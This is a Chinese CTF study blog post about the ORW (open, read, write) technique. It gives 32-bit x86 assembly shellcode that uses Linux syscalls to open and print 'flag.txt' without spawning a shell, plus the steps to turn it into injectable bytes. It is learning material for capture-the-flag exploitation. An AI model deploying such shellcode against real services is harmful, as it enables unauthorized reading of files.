zoukankan      html  css  js  c++  java
  • orz

      依稀还记得前段时间做hgame的题,考出了ORW,当时候半懂不懂的就糊弄过去了。现在又学习一遍,感觉思路清晰了很多,所以记录一下。

      上篇随笔写道系统调用,这次的ORW还是通过系统调用实现。顺便贴个系统调用全表的地址:

      http://syscalls.kernelgrok.com/

      在里面可以看到所有函数的调用规则。

      说回ORW,ORW就是open、read、write,通过调用这三个函数,如果在比赛中知道flag 的路径,就不需要拿到shell也可以拿到flag。

      贴一下写的汇编代码了:

      

     1 jmp sh
     2 
     3 run:
     4     pop ebx
     5     mov eax,0x5
     6     mov ecx,0x0
     7     int 0x80
     8 
     9     mov ebx,eax
    10     mov eax,0x3
    11     mov ecx,esp
    12     mov edx,0x10
    13     int 0x80
    14 
    15     mov eax,0x4
    16     mov ebx,0x1
    17     mov ecx,esp
    18     mov edx,0x10
    19     int 0x80
    20 
    21     xor eax,eax
    22     inc eax
    23     int 0x80
    24 sh:
    25     call run
    26     db"flag.txt",0x0

      代码很简单,就是c语言调用了这样的函数。open("flag.txt",0) read($eax,esp,0x10) write(1,esp,0x10)代码可能不规范,但是大致意思是这样的,最后还调用了exit函数。这里学到一条新的汇编,inc是自加的意思。

      接下来就是生成orw.o,用objcopy去除无用代码,xxd -i生成可直接用的code,然后套上篇随笔的模板,就写出来了。

      贴几张图纪念一下。

  • 相关阅读:
    模板方法模式
    LINQ多条件OR模糊查询
    在LINQ中实现多条件联合主键LEFT JOIN
    js只显示整点
    Vue-cli2中处理跨域
    vue动态绑定类(实现tab)
    Vue中引入cdn同时防止cdn挂掉
    vue+nginx开启gzip压缩
    Vue路由守卫
    vue-router嵌套路由和二级目录(域名)
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12483331.html
Copyright © 2011-2022 走看看